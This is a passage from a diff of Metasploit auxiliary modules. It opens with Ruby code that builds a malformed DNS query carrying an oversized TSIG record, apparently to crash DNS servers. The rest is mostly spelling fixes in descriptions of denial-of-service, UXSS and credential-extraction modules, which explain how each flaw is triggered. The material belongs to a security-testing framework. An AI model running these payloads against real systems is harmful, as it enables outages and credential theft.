query << "\x00\x01" # Type: A (Host Address) (1)
query << "\x00\x01" # Class: IN (0x0001)
# Aditional records. Name
query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
query << "\x3d"+Rex::Text.rand_text_alphanumeric(61)
query << "\x00"
query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
query << "\x00\xff" # Class: ANY (0x00ff)
query << "\x00\x00\x00\x00" # Time to live: 0
query << "\x00\xfc" # Data length: 252
# Algorithm Name
query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
query << "\x00"
# Rest of TSIG
query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART
query << "\x01\x2c" # Fudge: 300
query << "\x00\x10" # MAC Size: 16
query << Rex::Text.rand_text_alphanumeric(16) # MAC
query << "\x8f\x65" # Original Id: 36709
query << "\x00\x00" # Error: No error (0)
query << "\x00\x00" # Other len: 0
end
def get_domain
domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
domain+org
end
end
+2 -2
View File
@@ -11,8 +11,8 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'Dopewars Denial of Service',
'Description' => %q{
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to
a lack of input validation.
The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to
a lack of input validation.
},
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
'License' => MSF_LICENSE,
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a
ChangeCipherspec Datagram before a ClientHello.
},
'Author' => [
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
FTP request containing Telnet IAC (0xff) bytes. When constructing the response,
the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.
This issue can be triggered pre-auth and may in fact be explotiable for
This issue can be triggered pre-auth and may in fact be exploitable for
remote code execution.
},
'Author' =>
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Kaillera 0.86 Server Denial of Service' ,
'Description' => %q{
The Kaillera 0.86 server can be shut down by sending any malformed packet
after the intial "hello" packet.
after the initial "hello" packet.
},
'Author' => ["Sil3nt_Dre4m"],
'License' => MSF_LICENSE,
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module exploits a denial of service flaw in the Microsoft
Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger
this bug, run this module as a service and forces a vulnerabile client
this bug, run this module as a service and forces a vulnerable client
to access the IP of this system as an SMB server. This can be accomplished
by embedding a UNC path (\\HOST\share\something) into a web page if the
target is using Internet Explorer, or a Word document otherwise.
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'SMB Negotiate SMB2 Dialect Corruption',
'Description' => %q{
This module sends a series of SMB negiotiate requests that advertise a
This module sends a series of SMB negotiate requests that advertise a
SMB2 dialect with corrupted bytes.
},
'Author' => [ 'hdm' ],
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'SMB Negotiate Dialect Corruption',
'Description' => %q{
This module sends a series of SMB negiotiate requests with corrupted bytes
This module sends a series of SMB negotiate requests with corrupted bytes
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE
@@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary
which will cause a popup window to be used. This requires a click from the user
and is much less stealthy, but is generally harmless-looking.
By supplying a CUSTOM_JS paramter and ensuring CLOSE_POPUP is set to false, this
module also allows running aribrary javascript in the context of the targeted URL.
By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this
module also allows running aribtrary javascript in the context of the targeted URL.
Some sample UXSS scripts are provided in data/exploits/uxss.
},
'Author' => [
@@ -116,7 +116,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge service_data
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module interfaces with the CorpWatch API to get publicly available
info for a given company name. Please note that by using CorpWatch API, you
acknolwdge the limitations of the data CorpWatch provides, and should always
acknowledge the limitations of the data CorpWatch provides, and should always
verify the information with the official SEC filings before taking any action.
},
'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' ],
+1 -1
View File
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
This module will extract user credentials from Network Shutdown Module
versions 3.21 and earlier by exploiting a vulnerability found in
lib/dbtools.inc, which uses unsanitized user input inside a eval() call.
Please note that in order to extract credentials,the vulnerable service
Please note that in order to extract credentials, the vulnerable service
must have at least one USV module (an entry in the "nodes" table in
mgedb.db).
},

Some files were not shown because too many files have changed in this diff Show More